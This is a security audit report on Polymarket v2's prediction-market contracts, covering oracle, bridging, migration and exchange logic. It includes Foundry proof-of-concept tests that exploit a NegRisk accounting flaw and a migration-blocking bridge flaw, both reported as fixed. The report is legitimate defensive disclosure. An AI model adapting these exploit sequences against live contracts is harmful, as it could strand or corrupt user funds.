Polymarket v2

Security Review

Cantina Managed review by:
Giovanni Di Siena, Lead Security Researcher
Red Swan, Security Researcher

May 11, 2026

Contents

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

Cantina Managed provides a detailed evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While Cantina Managed endeavors to identify and disclose all potential security issues, it cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities that were absent during the initial review. Therefore, any changes made to the code require a new security review to ensure that the code remains secure. Please be advised that the Cantina Managed security review is not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity level	Impact: High	Impact: Medium	Impact: Low
Likelihood: high	Critical	High	Medium
Likelihood: medium	High	Medium	Low
Likelihood: low	Medium	Low	Low

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above table. Critical findings have a high likelihood of being exploited and must be addressed immediately. High findings are almost certain to occur, easy to perform, or not easy but highly incentivized thus must be fixed as soon as possible.

Medium findings are conditionally possible or incentivized but are still relatively likely to occur and should be addressed. Low findings are a rare combination of circumstances to exploit, or offer little to no incentive to exploit but are recommended to be addressed.

Lastly, some findings might represent objective improvements that should be addressed but do not impact the project's overall security (Gas and Informational findings).

2 Security Review Summary

From Mar 22nd to Apr 12th the Cantina team conducted a review of polymarket-v2 on commit hash d6ebf3e7. The team identified a total of **58** issues:

Issues Found

Severity	Count	Fixed	Acknowledged
Critical Risk	0	0	0
High Risk	0	0	0
Medium Risk	4	4	0
Low Risk	19	12	7
Gas Optimizations	5	3	2
Informational	30	20	6
Total	**58**	**39**	**15**

2.1 Trust assumptions

There are many systems and libraries external to the code under review that we need to make reasonable assumptions about. This includes external protocols like the oracles (UMA), bridges (Layer0, CCIP), and tokens (USDC); external codebases like Solady and solc; and the operational competency and good faith of the Polymarket team. We have reviewed codebases at protocol boundaries and searched for issues specific to target chains that the team wishes to deploy to, but we largely have assumed that all of these systems work as intended and described.

2.2 Cantina Managed Team Statement

The audit of Polymarket V2 encompassed the core components of the protocol. Our review revealed a sophisticated and high-quality codebase that prioritizes a clean separation of concerns. We were particularly impressed with the architectural rigor of the contracts and the protocol's ability to maintain collateral integrity through complex state transitions. Beyond the smart contracts, our evaluation of the team's off-chain operational workflows suggests a well-reasoned approach to overseeing and securing the protocol's on-chain activities.

Throughout the engagement, the Polymarket team was engaged and responsive to our discussions. We believe the protocol is well-positioned for a secure deployment and look forward to its continued evolution.

3 Overview

3.1 System Overview

System Overview: Polymarket V2 is a comprehensive evolution of the protocol, introducing a bespoke collateral system, cross-chain bridging, and a modular architecture for market logic. Most notably, the system transitions away from the Gnosis Condition Token Framework (CTF) to a custom, high-efficiency position management engine.

Position Management & Stateless Routing: At the core of the protocol is the `PositionManager`, a specialized ERC-1155 contract that serves as the central ledger for all user positions. Unlike V1, which relied on external state lookups, V2 utilizes **Structured Position IDs**. By encoding the `moduleId` directly into the top 8 bits of the Token ID, the `PositionManager` can instantly delegate minting, burning, and payout logic to the appropriate module without expensive storage reads.

Currently, the protocol supports two primary modules:

- `BinaryModule`: For standard YES/NO outcome markets.
- `NegRiskModule`: For multi-outcome markets where outcomes are negatively correlated (e.g., only one winner possible).

These modules facilitate the lifecycle of a market through `split` (depositing collateral for complementary shares), `merge` (converting shares back to collateral), and `redeem` (claiming winnings after resolution).

The Collateral Ecosystem: To unify liquidity across different USDC implementations (such as Native USDC and bridged USDC.e), the protocol introduces a `CollateralToken` contract (also referred to as **P**oly**m**arket **C**ollateral **T**oken or **PMCT**). This 1:1 USDC-backed ERC-20 serves as the universal currency for all markets. By using PMCT as an abstraction layer, Polymarket ensures that trading and settlement remain consistent regardless of the underlying stablecoin used for entry or exit.

Cross-Chain Bridging: V2 is designed for a multi-chain world. The `BridgeRouter` serves as the primary gateway for moving both collateral and positions across chains using LayerZero and CCIP. To maintain consistency, the `OracleAggregator` acts as the ”source of truth” on a canonical chain. Once a market is resolved there, the result is propagated permissionlessly through the bridge infrastructure to all other deployments.

Trading & Liquidity: While users can interact with modules directly, most activity occurs through the `Exchange` and `Router` contracts. The Exchange uses an off-chain matching, on-chain settlement model with EIP-712 signed orders, allowing for gas-efficient trading. The `Router` suite provides a user-friendly interface for complex operations, including a `CtfRouter` that maintains backward compatibility for integrations familiar with the V1 interface.

Migration Path: To ensure a seamless transition from V1, the protocol includes a dedicated migration workflow. This allows authorized ”Creators” to prepare legacy Gnosis CTF conditions for migration. Users can then swap their legacy tokens for V2 positions; the protocol takes custody of the old tokens, settles them back to underlying collateral, and re-issues the value within the new `PositionManager` framework.

Trust Model & Upgradeability: The protocol follows a ”hub-and-spoke” security model. While the peripheral contracts (Routers, Bridges, Modules) are largely static, the ”inner sanctum”-consisting of the `PositionManager`, `CollateralToken`, and `OracleAggregator`-are implemented as UUPS proxies. This allows for critical logic updates and the registration of new modules by protocol admins while maintaining a immutable record of user balances.

3.2 Privileged Roles

Privileged Roles: Roles and privileges in the protocol are assigned on a contract-by-contract basis instead of a central authorization contract. We summarize contracts' roles below:

Contract	Role	Summary
`PositionManager`	**Admin**	Can add or remove registered modules (which have mint/burn authority over positions). Authorizes UUPS upgrades.

	Operator and Creator	Inherited roles reserved for future governance or automated management with no direct use in the contract's current logic
`BinaryModule` & `NegRiskModule`	**Creator**	Can initialize new markets and set their resolution parameters (oracle, data).
	Admin	Can reassign oracles for existing conditions and pause/unpause resolution for specific conditions.
	Bridge	Authorized to move positions across different chains.
`Exchange`	**Operator**	Authorized to call `matchOrders` and `matchOrdersBatch`, enabling off-chain matched trades to settle on-chain.
	Admin	Can pause/unpause the exchange, set the fee receiver address, and manage the `OPERATOR_ROLE`.
`OracleAggregator`	**Operator**	Authorized to `initializeRequest`, starting the resolution lifecycle for a specific market outcome.
	Admin	Can pause/unpause the entire aggregator and set global configurations (e.g. reporters, disputers, and arbitrators).
`AutoRedeemer`	**Operator**	Authorized to `redeem` resolved positions on behalf of users (requires user approval of the contract).
`Oracle Modules`	**Operator**	Can initialize requests or set oracle allowances (e.g. `OptimisticOracleModule`).

4 Findings

4.1 Medium Risk

4.1.1 `OptimisticOracleModule` re-requests lack reward incentive due to UMA state zeroing

Severity: Medium Risk

Context: OptimisticOracleModule.sol#L165-L175

Description: The `OptimisticOracleModule` is designed to automatically re-request prices from UMA's Optimistic Oracle V2 (OOv2) when a dispute occurs or when a request settles to the "Too Early" (P4) state. The module's documentation explicitly states that it intends to "recycle" the reward from the original request for these re-requests using UMA's `refundOnDispute` mechanism.

However, the implementation fails to recycle the reward because it relies on querying UMA's internal state *after* UMA has already cleared the reward value to zero.

UMA Lifecycle & Reward Zeroing: In UMA's `OptimisticOracleV2`, the reward handling for "event-based" requests (which this module uses) follows this sequence:

1. **Enabling Refund:** The module calls `setEventBased`, which automatically enables `refundOnDispute`.

```
// UMA OptimisticOracleV2.sol
function setEventBased(...) external override nonReentrant() {
    // ...
    request.requestSettings.eventBased = true;
    request.requestSettings.refundOnDispute = true; // <--- Automatically enabled
}
```

2. **Dispute & Zeroing:** When a dispute is initiated, UMA's `disputePriceFor` logic refunds the reward and **immediately sets it to zero** in the internal `Request` storage *before* calling the requester's callback.

```
// UMA OptimisticOracleV2.sol - disputePriceFor()
if (request.reward > 0 && request.requestSettings.refundOnDispute) {
    refund = request.reward;
    request.reward = 0; // <--- Reward is cleared in UMA state
    request.currency.safeTransfer(requester, refund);
}
// ... later in the same function ...
if (request.requestSettings.callbackOnPriceDisputed)
    OptimisticRequester(requester).priceDisputed(..., refund);
```

3. **P4 Prerequisite:** In event-based requests, proposers are forbidden from proposing the "Too Early" (P4) price (`TOO_EARLY_RESPONSE`). Therefore, a P4 settlement can only occur if a proposal was disputed and the DVM subsequently resolved it as "Too Early". This means by the time a P4 settlement occurs, the reward has already been zeroed and refunded during the earlier dispute phase.

In both `priceDisputed` and `priceSettled` (when handling P4), the module calls `optimisticOracle.getRequest(...)` to retrieve parameters for the re-request. Since UMA has already zeroed the reward in its storage, the module receives a `0` value for `req.reward`, which it then passes to `_reRequest`.

The resulting re-requests will have a `0` reward. While the module receives the refund of the original reward, it fails to "recycle" it into the new request. Without a financial incentive, participants are unlikely to provide prices for these re-requests, leading to markets becoming "stuck" or significantly delayed in resolution.

Recommendation: Update the module to use the reward value provided in the callback or tracked locally:

1. **For Disputes:** Use the `refund` parameter provided directly in the `priceDisputed` callback (the 4th parameter) instead of querying the UMA state.

```
function priceDisputed(bytes32 identifier, uint256 timestamp, bytes memory
↪  ancillaryData, uint256 refund)
    external
    override
    onlyOptimisticOracle
{
    // ... use 'refund' as the reward for _reRequest
}
```

2. **For P4 Settlements:** Since the reward was already refunded during the dispute phase, the module should track the original reward amount in local storage (e.g., a mapping of `conditionId => reward`) so it can be re-applied to the re-request.
3. **Ensure Allowance:** Verify that the module maintains a sufficient token allowance for UMA to pull the recycled reward for the new request.

Polymarket: Fixed in PR 217.

Cantina Managed: Verified. Reward handling is now fixed by tracking the active reward per condition for reuse in disputed and P4 settlement re-requests.

4.1.2 Phantom `NegRisk` conditions can corrupt hub event accounting and break resolution when roundtrip bridged

Severity: Medium Risk

Context: BaseModule.sol#L160, BaseModule.sol#L246-L251, BaseModule.sol#L292-L298, NegRiskModule.sol#L108-L137

Description: `BaseModule::split` does not validate that the given condition is already prepared. Whichever arbitrary `moduleId` that is encoded within the supplied `conditionId` will be used, i.e. either one of `address(0)` or the existing binary/NegRisk modules for which the condition is not prepared. In the latter case, the call proceeds with the invalid `conditionId`.

The `onlyModuleByPositionId()` modifier checks that the caller is the expected module, but this does not validate that the condition is actually prepared, so collateral can be split for non-existent conditions. The same behavior is present in `merge()`, which means roundtrip is possible, although by preventing this with prepared condition validation during `split()` it will make it impossible to obtain the position tokens to merge.

That said, it is understood that this feature is in fact desirable and may be needed for future module implementations. Consider the scenario in which:

- A user mints unprepared binary positions on the source chain with an unprepared condition via split.
- The user bridges those positions to a spoke chain.
- On receipt in `_handlePositionsReceive()`, the bridge automatically calls `prepareConditionFromBridge()`, so the unprepared condition on the source chain becomes prepared on the spoke chain.
- The spoke chain module's oracle for that condition is set to the bridge address itself.

This means that the bridge can prepared unprepared source conditions on the destination chain, which is indeed desired behavior. There does not appear to be an unprivileged path to get a cross-chain `RESULT` payload accepted for the unprepared condition, so these positions cannot be redeemed until prepared on the hub chain.

NegRisk inherits the same `BaseModule` split logic, but that path does not verify that the supplied `conditionId` was actually prepared or is within the event's declared `conditionCount`. As a result, users can mint YES/NO positions for nonexistent NegRisk conditions under a real event namespace. Any destination chain that already has `conditionCount[eventId] > 0`, i.e. the overarching event has been prepared, can accept it since the destination chain will auto-prepare bridged conditions under the event namespace via `prepareConditionFromBridge()`.

Again, this is so far as intended. Once the real NegRisk event on that destination chain reaches `resultsSum == 1_000_000`, anyone can call `resolveCondition()` on the bridged condition which can be accepted as NO even if the condition index is out of range. This is because the contract checks only that the parent event exists, the YES budget is exhausted, and the specific condition is prepared on the spoke chain; it does not check that the condition index is `< conditionCount[eventId]`.

This allows otherwise nonexistent conditions (from the perspective of the source chain) to be finalized as NO. They can redeemed against the user's own previously supplied collateral, and counted toward `conditionsResolved` which, while not directly preventing legitimate NegRisk conditions from being resolved, permanently corrupts the event's resolution state by making out-of-range conditions appear legitimately resolved.

Taking this further still, consider instead that if the phantom NegRisk condition remains unprepared on the source chain then roundtrip bridging it back will now prepare the condition under the real event namespace on the source chain as well, with the bridge as the oracle. Assuming the event now has a result on the spoke chain, a permissionless call to `bridgeResult()` can be made back to the source chain. This succeeds and skips NegRisk validation for the bridged result within `reportResult()` because it is assume to have already been validated on the hub; however, this is problematic as it allows `conditionsResolved[eventId]` and `resultsSum[eventId]` to be incremented as normal without adding YES weight to `resultsSum`.

Given that execution branches on `conditionsResolved` to determine when to enforce the final condition exact sum to `1_000_000` for conditions prepared directly on the source chain, this can break resolution for legitimate conditions under the event.

Proof of Concept: The following standalone test demonstrates the scenario described above:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;

import { CcipBridgeStandardTest } from "./CcipBridgeStandard.t.sol";
import { CcipChainInfra } from "./base/CcipBridgeTestBase.sol";
import { MessageType } from "@polymarket-v2/src/libraries/CrossChainTypes.sol";
import { PositionIdLib } from "@polymarket-v2/src/libraries/PositionIdLib.sol";
import { ModuleErrors } from "@polymarket-v2/src/modules/abstract/ModuleErrors.sol";
import { BaseModule } from "@polymarket-v2/src/modules/abstract/BaseModule.sol";

contract PhantomNegRiskPoC is CcipBridgeStandardTest {
    function test_phantomNegRiskPoC_splitBridgeRoundtripBreaksRealResolution() public {
        uint256 amount = 100_000_000;

        // Prepare a legitimate 3-condition NegRisk event on the hub.
        vm.chainId(HUB_CHAIN_ID);
        vm.prank(creator);
        bytes32 eventId = hubNegRiskModule.prepareEvent(oracle, 3,
        ↪  bytes("phantom-negrisk"));

        bytes32 realCondition0 = PositionIdLib.getConditionIdFromEvent(eventId, 0);
        bytes32 realCondition1 = PositionIdLib.getConditionIdFromEvent(eventId, 1);
        bytes32 realCondition2 = PositionIdLib.getConditionIdFromEvent(eventId, 2);

        // Index 3 is out of range because conditionCount(eventId) == 3,
        // so the only legitimate indices are 0, 1, and 2.
        bytes32 phantomCondition = PositionIdLib.getConditionIdFromEvent(eventId, 3);
        uint256 phantomYesId = PositionIdLib.getPositionId(phantomCondition, 0);
        uint256 phantomNoId = PositionIdLib.getPositionId(phantomCondition, 1);

        // Bridge the real event metadata to the spoke through the mocked transport.
        // This is a normal protocol flow and prepares the legitimate event on the spoke.
        vm.prank(user);
        hubBridge.bridgeEvent{ value: 0.01 ether }(SPOKE_A_DST, eventId, "");
        _deliverFromHub();

        assertEq(spokeANegRiskModule.conditionCount(eventId), 3, "spoke event metadata
        ↪  was not bridged");
```

```
assertFalse(hubNegRiskModule.isConditionPrepared(phantomCondition), "phantom
↪  should still be unprepared on hub");

// Actual origin of the phantom condition:
// split collateral into the out-of-range condition on the hub.
hubCollateral.usdc.mint(user, amount);
vm.startPrank(user);
hubCollateral.usdc.approve(address(hubCollateral.onramp), amount);
hubCollateral.onramp.wrap(address(hubCollateral.usdc), user, amount);
hubCollateral.token.approve(address(hubBridgeRouter), amount);
hubBridgeRouter.split(phantomCondition, amount);
vm.stopPrank();

assertEq(hubPositionManager.balanceOf(user, phantomYesId), amount, "hub split did
↪  not mint phantom YES");
assertEq(hubPositionManager.balanceOf(user, phantomNoId), amount, "hub split did
↪  not mint phantom NO");
assertFalse(hubNegRiskModule.isConditionPrepared(phantomCondition), "local split
↪  should not prepare phantom");

// Bridge the phantom YES to the spoke.
// The receive path auto-prepares the phantom condition there.
uint256[] memory positionIds = new uint256[](1);
positionIds[0] = phantomYesId;
uint256[] memory amounts = new uint256[](1);
amounts[0] = amount;

vm.prank(user);
hubPositionManager.setApprovalForAll(address(hubCallback), true);
vm.prank(user);
hubBridge.bridgePositions{ value: 0.01 ether }(
    SPOKE_A_DST, positionIds, amounts, _toBytes32(user), address(hubCallback),
    ↪  "", ""
);
_deliverFromHub();

assertTrue(spokeANegRiskModule.isConditionPrepared(phantomCondition), "spoke
↪  receive did not prepare phantom");
assertEq(spokeAPositionManager.balanceOf(user, phantomYesId), amount, "spoke did
↪  not receive phantom YES");

// Bridge the phantom YES back to the hub.
// This is the roundtrip step that auto-prepares the phantom condition on the hub
↪  as well.
vm.chainId(SPOKE_A_CHAIN_ID);
vm.prank(user);
spokeAPositionManager.setApprovalForAll(address(spokeACallback), true);
vm.prank(user);
spokeABridge.bridgePositions{ value: 0.01 ether }(
    HUB_DST, positionIds, amounts, _toBytes32(user), address(spokeACallback),
    ↪  "", ""
);
_deliverFromSpokeA();

assertTrue(hubNegRiskModule.isConditionPrepared(phantomCondition), "hub roundtrip
↪  did not prepare phantom");
assertEq(hubPositionManager.balanceOf(user, phantomYesId), amount, "hub did not
↪  receive phantom YES back");

// Resolve one legitimate condition on the hub through the normal local oracle
↪  flow,
// then bridge that result to the spoke through the normal permissionless
↪  bridgeResult path.
vm.chainId(HUB_CHAIN_ID);
uint256[] memory partialYes = new uint256[](2);
partialYes[0] = 400_000;
```

```
partialYes[1] = 600_000;

vm.prank(oracle);
hubNegRiskModule.reportResult(realCondition0, partialYes);

vm.prank(user);
hubBridge.bridgeResult{ value: 0.01 ether }(SPOKE_A_DST, realCondition0, "");
_deliverFromHub();

// Deliver the second legitimate condition result to the spoke through the mocked
↪  bridge transport.
// The payload is a normal bridge RESULT message for a real in-range condition.
uint256[] memory realCondition1Result = new uint256[](2);
realCondition1Result[0] = 600_000;
realCondition1Result[1] = 400_000;
{
    bytes memory bridgedRealCondition1 =
        bytes.concat(bytes1(uint8(MessageType.RESULT)),
        ↪  abi.encode(realCondition1, realCondition1Result));
    CcipChainInfra storage hub = chainBySelector[HUB_SELECTOR];
    CcipChainInfra storage spokeA = chainBySelector[SPOKE_A_SELECTOR];
    spokeA.router.simulateReceive(
        hub.router.chainSelector(), address(hub.bridge), address(spokeA.bridge),
        ↪  bridgedRealCondition1
    );
}

assertEq(spokeANegRiskModule.resultsSum(eventId), 1_000_000, "spoke YES budget
↪  should now be exhausted");
assertEq(spokeANegRiskModule.conditionsResolved(eventId), 2, "spoke should now
↪  have two legitimate results");

// With YES budget exhausted, the final legitimate spoke condition can be
↪  resolved as NO.
vm.chainId(SPOKE_A_CHAIN_ID);
vm.prank(user);
spokeANegRiskModule.resolveCondition(realCondition2);

assertEq(spokeANegRiskModule.resultsSum(eventId), 1_000_000, "spoke NO resolution
↪  should not change YES budget");
assertEq(spokeANegRiskModule.conditionsResolved(eventId), 3, "spoke should have
↪  all three real conditions resolved");

// The phantom condition is out of range, but because it is now prepared on the
↪  spoke
// and the event's YES budget is exhausted, it can still be resolved as pure NO.
vm.prank(user);
spokeANegRiskModule.resolveCondition(phantomCondition);

assertTrue(BaseModule(address(spokeANegRiskModule)).hasResult(phantomCondition),
↪  "spoke phantom was not resolved");
assertEq(spokeANegRiskModule.resultsSum(eventId), 1_000_000, "phantom NO should
↪  not consume YES budget");
assertEq(
    spokeANegRiskModule.conditionsResolved(eventId),
    4,
    "spoke phantom NO should still increment the event's resolved count"
);

// Permissionlessly bridge the phantom NO result back to the hub through the
↪  mocked transport.
vm.prank(user);
spokeABridge.bridgeResult{ value: 0.01 ether }(HUB_DST, phantomCondition, "");
_deliverFromSpokeA();
```

```
        // The hub now accepts the bridged phantom NO result and corrupts its event
        ↪  accounting:
        // conditionsResolved increases, but resultsSum stays at the original 400_000
        ↪  because the phantom is NO.
        assertEq(hubNegRiskModule.conditionCount(eventId), 3, "hub event metadata should
        ↪  remain unchanged");
        assertTrue(BaseModule(address(hubNegRiskModule)).hasResult(phantomCondition),
        ↪  "hub did not accept phantom result");
        assertEq(hubNegRiskModule.resultsSum(eventId), 400_000, "hub phantom NO should
        ↪  not change YES budget");
        assertEq(
            hubNegRiskModule.conditionsResolved(eventId),
            2,
            "hub phantom NO should increment resolved count before any second real
            ↪  report"
        );

        // At this point the hub believes it is one report away from the final condition:
        // conditionsResolved == conditionCount - 1.
        // A legitimate intermediate result that would normally be accepted now reverts
        ↪  because the
        // contract takes the "final condition must exactly sum to 1_000_000" branch too
        ↪  early.
        uint256[] memory anotherValidIntermediate = new uint256[](2);
        anotherValidIntermediate[0] = 300_000;
        anotherValidIntermediate[1] = 700_000;

        vm.prank(oracle);
        vm.expectRevert(ModuleErrors.InvalidResults.selector);
        hubNegRiskModule.reportResult(realCondition1, anotherValidIntermediate);
    }
}
```

Recommendation: Continue to allow collateral to be split into unprepared conditions but enforce `NegRisk` event bounds anywhere a condition is treated as part of a prepared event.

Polymarket: Fixed in PR 182.

Cantina Managed: Verified. Explicit cross-chain condition/event pre-registration has been removed and a new resolver role granted to both the bridge and oracle has been introduced. Bridged positions no longer auto-prepare conditions or events. Instead, validity is derived from the identifier itself via `_validateEventId()` and `_validateConditionId()`, with the latter being called within both `reportResult()` and `resolveCondition()` before updating neg-risk accounting.

4.1.3 Admin override can strand active `OOv2` requests and make later UMA settlement revert

Severity: Medium Risk

Context: OracleAggregator.sol#L295, OracleAggregator.sol#L299

Description: `OracleAggregator::resolveResult` allows the admin to finalize a request at any time, including while the `OptimisticOracleModule` still has an active UMA `OOv2` request in flight. This admin path does not cancel the outstanding `OOv2` request or otherwise invalidate the stale `currentRequestId[conditionId]` or `requestToCondition` state still present in `OptimisticOracleModule`.

As a result, when that same `OOv2` request later settles, `OptimisticOracleModule::priceSettled` will still treat it as the current request and attempt to call `OracleAggregator::resolveResult`. Because the request was already finalized by the admin override, the aggregator reverts with `RequestAlreadyResolved()`.

Given that UMA `OOv2` executes the requester's `priceSettled()` callback as part of its settlement flow without handling callback failure, the entire settlement transaction reverts. Any proposer reward held in `OOv2` is therefore not automatically recoverable through the normal settlement path after an admin

override. Disputed requests may already have refunded the reward earlier via `refundOnDispute()`, but undisputed requests can leave reward funds stranded behind the reverting settlement path. This also means that the proposer/disputer will be unable to recover their bond.

Recommendation: `OptimisticOracleModule` should explicitly invalidate or detach outstanding `OOv2` requests when an admin override finalizes the request. Consider having post-resolution `priceSettled()` callbacks return early without attempting a second aggregator resolution.

Polymarket: Fixed in PR 204.

Cantina Managed: Verified. `OracleAggregator::resolveResult` is now idempotent in that it returns early instead of reverting when already resolved. `OptimisticOracleModule::priceSettled` now also returns early so that stale OOv2 settlements after an admin override neither revert nor create orphaned re-requests.

4.1.4 Permissionless bridge preparation can permanently block settlement of binary migration conditions on the hub chain

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description: `BinaryMigrationMixin` assumes the creator will be the first actor to prepare a migration condition so `legacyConditionId[conditionId]` can be written in `prepareMigrationCondition()`. This assumption is incorrect on the hub chain because `prepareConditionFromBridge()` can be permissionlessly triggered by any user who originates a spoke chain transfer of the given condition identifier.

Once bridge preparation marks the migration condition as prepared, the legitimate creator can no longer call `prepareMigrationCondition()` because it reverts with `ConditionAlreadyPrepared()`, leaving `legacyConditionId[conditionId]` unset. However, calls to `migratePositions()` still proceed and accept legacy positions for the same ID because it only checks `isConditionPrepared(conditionId)` before minting V2 positions.

`resolveCondition()` attempts to reads the unset `legacyConditionId[_conditionId]` entry to fetch the legacy CTF payouts but reverts with `ConditionNotResolved()`, even after the real legacy market resolves. Users can therefore migrate real legacy positions into V2 positions that are blocked and can never resolve.

Proof of Concept: The following test should be added to `BinaryMigration.t.sol`:

```
function test_poc_bridgePrepBricksMigrationCondition() public {
    uint256 amount = 100_000_000;
    conditionalTokens.prepareCondition(oracle, questionId, 2);

    bytes32 structuredConditionId = binaryModule.getMigrationConditionId(conditionId);
    uint256 legacyYesPositionId =
        CTHelpers.getPositionId(address(collateral.usdce),
        ↪  CTHelpers.getCollectionId(bytes32(0), conditionId, 1));
    uint256 structuredYesPositionId = PositionIdLib.getPositionId(structuredConditionId,
    ↪  0);

    // Simulate a spoke-originated inbound bridge prepare on the hub.
    vm.startPrank(bridge);
    binaryModule.prepareConditionFromBridge(structuredConditionId);
    binaryModule.mintFromBridge(address(this), structuredYesPositionId, 1);
    vm.stopPrank();

    assertTrue(binaryModule.isConditionPrepared(structuredConditionId), "bridge prep
    ↪  should seize the ID");
    assertEq(binaryModule.oracle(structuredConditionId), bridge, "bridge becomes
    ↪  oracle");
    assertEq(binaryModule.legacyConditionId(structuredConditionId), bytes32(0), "legacy
    ↪  mapping still unset");

    // The legitimate creator can no longer attach migration metadata.
```

```
    vm.prank(creator);
    vm.expectRevert(ModuleErrors.ConditionAlreadyPrepared.selector);
    binaryModule.prepareMigrationCondition(conditionId);

    // A user can still migrate real legacy value into the bricked condition.
    collateral.usdce.mint(alice, amount);
    vm.startPrank(alice);
    collateral.usdce.approve(address(conditionalTokens), amount);
    conditionalTokens.splitPosition(
        address(collateral.usdce), bytes32(0), conditionId, CTFHelpers.partition(),
        ↪  amount
    );

    bytes32[] memory legacyConditionIds = new bytes32[](1);
    legacyConditionIds[0] = conditionId;
    uint256[] memory outcomeIndices = new uint256[](1);
    outcomeIndices[0] = 0;
    uint256[] memory amounts = new uint256[](1);
    amounts[0] = amount;
    binaryModule.migratePositions(legacyConditionIds, outcomeIndices, amounts);
    vm.stopPrank();

    assertEq(conditionalTokens.balanceOf(alice, legacyYesPositionId), 0, "legacy YES left
    ↪  user");
    assertEq(
        conditionalTokens.balanceOf(address(binaryModule), legacyYesPositionId),
        amount,
        "legacy YES trapped in module"
    );
    assertEq(
        positionManager.balanceOf(alice, structuredConditionId, 0), amount, "user still
        ↪  receives V2 inventory"
    );

    // Even after the legacy condition resolves, the migration condition is permanently
    // unresolvable because resolveCondition() reads the unset mapping slot.
    uint256[] memory payouts = new uint256[](2);
    payouts[0] = 1;
    payouts[1] = 0;
    vm.prank(oracle);
    conditionalTokens.reportPayouts(questionId, payouts);

    vm.expectRevert(ModuleErrors.ConditionNotResolved.selector);
    binaryModule.resolveCondition(structuredConditionId);

    // The migration metadata is still absent and the user's V2 claim is stuck.
    assertEq(binaryModule.legacyConditionId(structuredConditionId), bytes32(0));
    assertEq(positionManager.balanceOf(alice, structuredConditionId, 0), amount);
}
```

Recommendation: `prepareMigrationCondition()` should distinguish a bridge-prepared condition from a real migration-prepared condition, or simply block bridge prepared for IDs in the binary migration namespace on the hub chain. Consider requiring `legacyConditionId[conditionId] != bytes32(0)` before minting any V2 binary migration positions.

Polymarket: Fixed in commit b9e2463.

Cantina Managed: Verified. All conditions are now required to be prepared before bridging, splitting, or merging.

4.2 Low Risk

4.2.1 Missing `receive()` function for LayerZero Refunds

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: The `BridgeRouter` contract is designed to facilitate cross-chain transfers by interacting with bridging protocols such as LayerZero. When a user calls a bridging function on `BridgeRouter`, the contract transfers the assets to the bridge and then calls the bridge's corresponding function, passing along the `msg.value` the user sent to cover cross-chain messaging fees.

In LayerZero's implementation, however, any excess funds passed to the bridge are returned to the caller. The `BridgeRouter`, however, has no way to `receive` Ether or native tokens, meaning that users are required to send the exact fee amount down to the wei.

Recommendation: Implement a `receive()` function in `BridgeRouter` to allow it to accept native token refunds. Additionally, consider implementing a mechanism to forward these refunds back to the original msg.sender (the user), or update the IBridge interface to allow the router to pass the user's address as the `_refundAddress` directly to the bridge. It would also be worth considering if a `receive` function should only be callable by the bridge contract to make sure that users do not errantly send native tokens to the router.

Polymarket: Fixed in PR 168.

Cantina Managed: Verified. `BridgeRouter` now accepts incoming native token refunds and forwards any post-send balance increase back to the caller.

4.2.2 Migration recipient can reenter via `onERC1155BatchReceived()`

Severity: Low Risk

Context: BaseMigrationMixin.sol#L143

Description: While it does not appear to be exploitable, it is important to note that a migration recipient can reenter via `onERC1155BatchReceived()` when migrated positions are batch minted. Module contracts inheriting `BaseMigrationMixin` can hold un-merged legacy positions and (temporarily) legacy collateral (USDCe or `WrappedCollateralToken`) that could be at risk if successful. The cross-contract boundary between legacy and new positions was also considered, as well as reentrancy in each system individually, including the legacy `CtfCollateralAdapter` and new binary/negrisk modules.

Recommendation: The absence of a concrete exploitation path does not guarantee safety. Consider application of a global reentrancy guard to lock particularly sensitive functions, or alternatively move the batch mint to the end of migration execution.

Polymarket: Fixed in PR 177 and PR 209.

Cantina Managed: Verified. `PositionManager` has been updated to perform unsafe ERC-1155-style mints that skip `onERC1155Received` / `onERC1155BatchReceived` callbacks.

4.2.3 `maxFeeRate` not used

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: In the `Exchange` contract, the `maxFeeRate` is never utilized and it's not clear if this is because it should be utilized in `_validateOrder` fee checks or if it is vestigial code and should be removed.

Recommendation: Consider either utilizing this value to ensure order fees are compliant or removing it and its setter `setMaxFeeRate`.

Polymarket: Fixed in PR 187.

Cantina Managed: Verified. `maxFeeRate` is now utilized, while `maxFee` and `expiration` have been removed from the `Order` struct (`docs/exchange.md` should be updated accordingly).

4.2.4 ERC-1155 Compliance

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: According to ERC-1155, a compliant token receiver should implement ERC-165's `supportsInterface` function for the 1155 interface. The `ERC1155TokenReceiver` contract in this codebase however does not. Other systems and protocols that expect compliance to the ERC will have difficulty integrating correctly and will reduce interoperability generally.

Recommendation: Implement `supportsInterface` in the `ERC1155TokenReceiver` contract.

Polymarket: Fixed in PR 163.

Cantina Managed: Verified. `supportsInterface()` has been implemented.

4.2.5 Removing a registered module breaks live positions for that module ID

Severity: Low Risk

Context: PositionManager.sol#L346-L355

Description: Removal of a module within the `PositionManager` will cause in-flight positions/unresolved markets to break since it deletes `moduleById[_moduleId]`. This will mean that `getPayout()` reverts with `ModuleNotRegistered()` and modules can no longer mint/burn positions as gated by the `onlyModuleByPositionId()` modifier.

Recommendation: Do not allow registered modules to be removed once positions may exist under that module ID. If a module upgrade/migration is required, keep `moduleById[moduleId]` pointing at a valid alternative rather than clearing it, or add explicit logic to disable the module for new prepares only while preserving payout/redeem/mint/burn compatibility for existing positions.

Polymarket: Acknowledged. Module removal/replacement is governance-controlled and will only happen through a planned migration process. This is not a user-triggerable runtime path.

Cantina Managed: Acknowledged.

4.2.6 Arbitrator module can resolve requests without prior arbitration escalation

Severity: Low Risk

Context: OracleAggregator.sol#L299

Description: The current validation within `OracleAggregator::resolveResult` is insufficient. It only enforces that the request has not already been finalized, not that arbitration has actually been requested. As such, the arbitrator module and/or admin can freely resolve results for undisputed requests.

This is intended for the admin, but if the caller is the arbitrator module then this logic should explicitly enforce that the status has been escalated to arbitration.

Recommendation: Explicitly enforce that arbitration has been requested (`state.status == ResolutionStatus.ArbitrationRequested`) when the caller is the arbitrator module.

